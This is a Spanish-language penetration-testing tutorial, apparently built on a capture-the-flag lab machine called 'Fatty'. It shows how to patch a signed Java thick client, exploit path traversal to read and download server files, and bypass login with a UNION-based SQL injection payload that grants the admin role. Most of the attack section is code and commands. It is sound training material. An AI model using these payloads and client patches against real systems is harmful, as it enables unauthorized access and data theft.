Saltar a contenido

Exploiting Web Vulnerabilities in Thick-Client Applications

Las aplicaciones de cliente pesado con una arquitectura de tres capas tienen una ventaja de seguridad sobre aquellas con una arquitectura de dos capas, ya que evita que el usuario final se comunique directamente con el servidor de la base de datos. Sin embargo, las aplicaciones de tres capas pueden ser susceptibles a ataques web específicos como SQL Injection y Path Traversal.

Durante una prueba de penetración, es común encontrar una aplicación de cliente pesado que se conecta a un servidor para comunicarse con la base de datos. El siguiente escenario demuestra un caso en el que el tester ha encontrado los siguientes archivos mientras enumeraba un servidor FTP que proporciona acceso a usuarios anonymous.

  • fatty-client.jar
  • note.txt
  • note2.txt
  • note3.txt

Leyendo el contenido de todos los archivos de texto, se revela que:

  • Un servidor ha sido reconfigurado para ejecutarse en el puerto 1337 en lugar de 8000.
  • Esto podría ser una arquitectura de cliente pesado/delgado donde la aplicación cliente aún necesita ser actualizada para usar el nuevo puerto.
  • La aplicación cliente depende de Java 8.
  • Las credenciales de inicio de sesión para la aplicación cliente son qtc / clarabibi.

Vamos a ejecutar el archivo fatty-client.jar haciendo doble clic en él. Una vez iniciada la aplicación, podemos iniciar sesión usando las credenciales qtc / clarabibi.

err

Esto no es exitoso y se muestra el mensaje Connection Error!. Esto probablemente se debe a que el puerto que apunta a los servidores necesita ser actualizado de 8000 a 1337. Vamos a capturar y analizar el tráfico de red usando Wireshark para confirmar esto. Una vez iniciado Wireshark, hacemos clic en Login nuevamente.

wireshark

A continuación se muestra un ejemplo de cómo abordar las solicitudes DNS desde las aplicaciones a tu favor. Verifica el contenido del archivo C:\Windows\System32\drivers\etc\hosts donde la IP 172.16.17.114 apunta a fatty.htb y server.fatty.htb.

El cliente intenta conectarse al subdominio server.fatty.htb. Vamos a iniciar un símbolo del sistema como administrador y agregar la siguiente entrada al archivo hosts.

C:\> echo 10.10.10.174    server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts

Inspeccionar el tráfico nuevamente revela que el cliente está intentando conectarse al puerto 8000.

port

El fatty-client.jar es un archivo Java Archive, y su contenido puede ser extraído haciendo clic derecho sobre él y seleccionando Extract files.

C:\> ls fatty-client\

<SNIP>
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/30/2019  12:10 PM                htb
d-----       10/30/2019  12:10 PM                META-INF
d-----        4/26/2017  12:09 AM                org
------       10/30/2019  12:10 PM           1550 beans.xml
------       10/30/2019  12:10 PM           2230 exit.png
------       10/30/2019  12:10 PM           4317 fatty.p12
------       10/30/2019  12:10 PM            831 log4j.properties
------        4/26/2017  12:08 AM            299 module-info.class
------       10/30/2019  12:10 PM          41645 spring-beans-3.0.xsd

Vamos a ejecutar PowerShell como administrador, navegar al directorio extraído y usar el comando Select-String para buscar todos los archivos con el puerto 8000.

C:\> ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List

Path       : C:\Users\cybervaca\Desktop\fatty-client\beans.xml
LineNumber : 13

Hay una coincidencia en beans.xml. Este es un archivo de configuración de Spring que contiene metadatos de configuración. Vamos a leer su contenido.

C:\> cat fatty-client\beans.xml

<SNIP>
<!-- Aquí tenemos una inyección basada en constructor, donde Spring inyecta los argumentos necesarios dentro de la función constructor. -->
   <bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
      <constructor-arg index="0" value = "server.fatty.htb"/>
      <constructor-arg index="1" value = "8000"/>
   </bean>

<!-- Los siguientes dos beans usan inyección por setter. Para este tipo de inyección, uno necesita definir un constructor por defecto para el objeto (sin argumentos) y uno necesita definir métodos setter para las propiedades. -->
   <bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>

   <bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
      <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
   </bean>
<SNIP>

Vamos a editar la línea <constructor-arg index="1" value = "8000"/> y establecer el puerto en 1337. Leyendo el contenido cuidadosamente, también notamos que el valor del secret es clarabibiclarabibiclarabibi. Ejecutar la aplicación editada fallará debido a una discrepancia en el digest SHA-256. El JAR está firmado, validando los hashes SHA-256 de cada archivo antes de ejecutarse. Estos hashes están presentes en el archivo META-INF/MANIFEST.MF.

C:\> cat fatty-client\META-INF\MANIFEST.MF

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
 r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>

Vamos a eliminar los hashes de META-INF/MANIFEST.MF y borrar los archivos 1.RSA y 1.SF del directorio META-INF. El MANIFEST.MF modificado debe terminar con una nueva línea.

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

Podemos actualizar y ejecutar el archivo fatty-client.jar emitiendo los siguientes comandos.

C:\> cd .\fatty-client
C:\> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *

Luego, hacemos doble clic en el archivo fatty-client-new.jar para iniciarlo y probamos iniciar sesión usando las credenciales qtc / clarabibi.

login

Esta vez obtenemos el mensaje Login Successful!.


Foothold

Hacer clic en Profile -> Whoami revela que el usuario qtc tiene asignado el rol user.

profile1

Al hacer clic en ServerStatus, notamos que no podemos hacer clic en ninguna opción.

status

Esto implica que podría haber otro usuario con mayores privilegios que tiene permitido usar esta función. Al hacer clic en FileBrowser -> Notes.txt, se revela el archivo security.txt. Al hacer clic en la opción Open en la parte inferior de la ventana, se muestra el siguiente contenido.

security

Esta nota nos informa que aún deben solucionarse algunos problemas críticos en la aplicación. Navegando a la opción FileBrowser -> Mail, se revela el archivo dave.txt que contiene información interesante. Podemos leer su contenido haciendo clic en la opción `

dave

El mensaje de Dave dice que todos los usuarios con rol admin han sido eliminados de la base de datos. También menciona un timeout implementado en el procedimiento de inicio de sesión para mitigar ataques de inyección SQL basados en tiempo.


Path Traversal

Dado que podemos leer archivos, intentemos realizar un ataque de path traversal usando el siguiente payload en el campo correspondiente y haciendo clic en el botón Open.

../../../../../../etc/passwd

passwd

El servidor filtra el carácter / de la entrada. Procedemos a descompilar la aplicación utilizando JD-GUI, arrastrando y soltando el archivo fatty-client-new.jar en el jd-gui.

jdgui

Guarda el código fuente presionando la opción Save All Sources en jdgui. Descomprime el archivo fatty-client-new.jar.src.zip haciendo clic derecho y seleccionando Extract files. El archivo fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java maneja las funcionalidades de la aplicación. Leer su contenido revela el siguiente código:

public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {

      }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user))
      return "Error: Method '" + methodName + "' is not allowed for this user account"; 
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    if (this.response.hasError())
      return "Error: Your action caused an error on the application server!"; 
    return this.response.getContentAsString();
  }

La función showFiles toma un argumento para el nombre de la carpeta y luego envía los datos al servidor mediante la llamada sendAndRecv(). El archivo fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java establece la opción de carpeta. Vamos a leer su contenido.

configs.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "configs";
            try {
              response = ClientGuiTest.this.invoker.showFiles("configs");
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
            } catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 
            textPane.setText(response);
          }
        });

Podemos reemplazar el nombre de la carpeta configs por .. de la siguiente manera:

ClientGuiTest.this.currentFolder = "..";
  try {
    response = ClientGuiTest.this.invoker.showFiles("..");

A continuación, compila el archivo ClientGuiTest.Java.

C:\> javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java

Esto genera varios archivos de clase. Crea una nueva carpeta y extrae el contenido de fatty-client.jar en ella.

C:\> mkdir raw
C:\> cp fatty-client-new.jar raw\fatty-client-new-2.jar

Navega al directorio raw y descomprime fatty-client-new-2.jar haciendo clic derecho y seleccionando Extract Here. Sobrescribe los archivos .class existentes en htb/fatty/client/gui/*.class con los archivos actualizados.

C:\> mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\

Finalmente, construye el nuevo archivo JAR.

C:\> cd raw
C:\> jar -cmf META-INF\MANIFEST.MF traverse.jar .

Inicia sesión en la aplicación y navega a la opción FileBrowser -> Config.

traverse

Esto es exitoso. Ahora podemos ver el contenido del directorio configs/../. Los archivos fatty-server.jar y start.sh parecen interesantes. Al listar el contenido del archivo start.sh, observamos que fatty-server.jar se está ejecutando dentro de un contenedor Docker Alpine.

start

Podemos modificar la función open en el archivo fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java para descargar el archivo fatty-server.jar de la siguiente manera:

import java.io.FileOutputStream;
<SNIP>
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(foldername);
    this.action.addArgument(filename);
    sendAndRecv();
    String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
    FileOutputStream fos = new FileOutputStream(desktopPath);

    if (this.response.hasError()) {
        return "Error: Your action caused an error on the application server!";
    }

    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();

    return "Successfully saved the file to " + desktopPath;
}
<SNIP>

Reconstruimos el archivo JAR siguiendo los mismos pasos y volvemos a iniciar sesión en la aplicación. Luego, navega a FileBrowser -> Config, añade el nombre del archivo fatty-server.jar en el campo de entrada y haz clic en el botón Open.

download

El archivo fatty-server.jar se descarga exitosamente en nuestro escritorio, y podemos proceder con su análisis.

C:\> ls C:\Users\cybervaca\Desktop\

...SNIP...
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/25/2023  11:38 AM       10827452 fatty-server.jar

SQL Injection

Descompilando el archivo fatty-server.jar con JD-GUI encontramos el archivo htb/fatty/server/database/FattyDbSession.class que contiene la función checkLogin() encargada de manejar la funcionalidad de inicio de sesión. Esta función recupera los detalles del usuario basándose en el nombre de usuario proporcionado. Luego, compara la contraseña obtenida con la contraseña ingresada.

public User checkLogin(User user) throws LoginException {
    <SNIP>
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
      <SNIP>
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
          return newUser; 
        throw new LoginException("Wrong Password!");
      <SNIP>
           this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      return null;

Verifiquemos cómo la aplicación cliente envía las credenciales al servidor. El botón de inicio de sesión crea un nuevo objeto ClientGuiTest.this.user para la clase User. Luego, llama a las funciones setUsername() y setPassword() con los valores respectivos de nombre de usuario y contraseña. Los valores devueltos se envían al servidor.

logincode

Verifiquemos las funciones setUsername() y setPassword() del archivo htb/fatty/shared/resources/user.java.

public void setUsername(String username) {
    this.username = username;
  }

  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

El nombre de usuario es aceptado sin modificación, pero la contraseña se transforma al siguiente formato:

sha256(username+password+"clarabibimakeseverythingsecure")

También notamos que el nombre de usuario no es sanitizado y se utiliza directamente en la consulta SQL, lo que lo hace vulnerable a SQL injection.

rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");

La función checkLogin en htb/fatty/server/database/FattyDbSession.class registra la excepción SQL en un archivo de logs.

<SNIP>
    this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
<SNIP>

Al intentar iniciar sesión usando el nombre de usuario qtc' para validar la vulnerabilidad a SQL injection, se revela un error de sintaxis. Para ver el error, necesitamos editar el código en el archivo fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java como sigue:

ClientGuiTest.this.currentFolder = "../logs";
  try {
    response = ClientGuiTest.this.invoker.showFiles("../logs");

Listar el contenido del archivo error-log.txt revela el siguiente mensaje:

error

Esto confirma que el campo de nombre de usuario es vulnerable a SQL Injection. Sin embargo, los intentos de inicio de sesión con payloads como ' or '1'='1 en ambos campos fallan. Al suponer que el nombre de usuario en el formulario de inicio de sesión es ' or '1'='1, el servidor procesará el nombre de usuario de la siguiente manera:

SELECT id,username,email,password,role FROM users WHERE username='' or '1'='1'

La consulta anterior tiene éxito y devuelve el primer registro de la base de datos. El servidor crea un nuevo objeto de usuario con los resultados obtenidos.

<SNIP>
if (rs.next()) {
        int id = rs.getInt("id");
        String username = rs.getString("username");
        String email = rs.getString("email");
        String password = rs.getString("password");
        String role = rs.getString("role");
        newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
<SNIP>

Luego, compara la contraseña del usuario recién creado con la contraseña proporcionada por el usuario.

<SNIP>
if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
    return newUser;
throw new LoginException("Wrong Password!");
<SNIP>

El valor producido por la función newUser.getPassword() es el siguiente:

sha256("qtc"+"clarabibi"+"clarabibimakeseverythingsecure") = 5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046

El hash de la contraseña proporcionado por el usuario (user.getPassword()) se calcula de la siguiente manera:

sha256("' or '1'='1" + "' or '1'='1" + "clarabibimakeseverythingsecure") = cc421e01342afabdd4857e7a1db61d43010951c7d5269e075a029f5d192ee1c8

Aunque el hash enviado al servidor por el cliente no coincide con el almacenado en la base de datos, y la comparación de contraseñas falla, aún es posible realizar una inyección SQL usando consultas UNION. Consideremos el siguiente ejemplo:

MariaDB [userdb]> select * from users where username='john';
+----------+-------------+
| username | password    |
+----------+-------------+
| john     | password123 |
+----------+-------------+

Es posible crear entradas falsas utilizando el operador SELECT. Introducimos un nombre de usuario no válido para generar una nueva entrada de usuario:

MariaDB [userdb]> select * from users where username='test' union select 'admin', 'welcome123';
+----------+-------------+
| username | password    |
+----------+-------------+
| admin    | welcome123  |
+----------+-------------+

De manera similar, la inyección en el campo de nombre de usuario puede aprovecharse para crear una entrada falsa de usuario:

test' UNION SELECT 1,'invaliduser','invalid@a.b','invalidpass','admin

De esta forma, se puede controlar la contraseña y el rol asignado. El siguiente fragmento de código envía la contraseña en texto plano introducida en el formulario. Vamos a modificar el código en htb/fatty/shared/resources/User.java para enviar la contraseña tal cual desde la aplicación cliente:

public User(int uid, String username, String password, String email, Role role) {
    this.uid = uid;
    this.username = username;
    this.password = password;
    this.email = email;
    this.role = role;
}
public void setPassword(String password) {
    this.password = password;
  }

Ahora podemos reconstruir el archivo JAR e intentar iniciar sesión utilizando el payload abc' UNION SELECT 1,'abc','a@b.com','abc','admin en el campo username y el texto aleatorio abc en el campo de password.

bypass

El servidor eventualmente procesará la siguiente consulta:

select id,username,email,password,role from users where username='abc' UNION SELECT 1,'abc','a@b.com','abc','admin'

La primera consulta SELECT falla, mientras que la segunda devuelve resultados válidos de usuario con el rol admin y la contraseña abc. La contraseña enviada al servidor también es abc, lo que da como resultado una comparación de contraseñas exitosa, y la aplicación permite iniciar sesión como usuario admin.

admin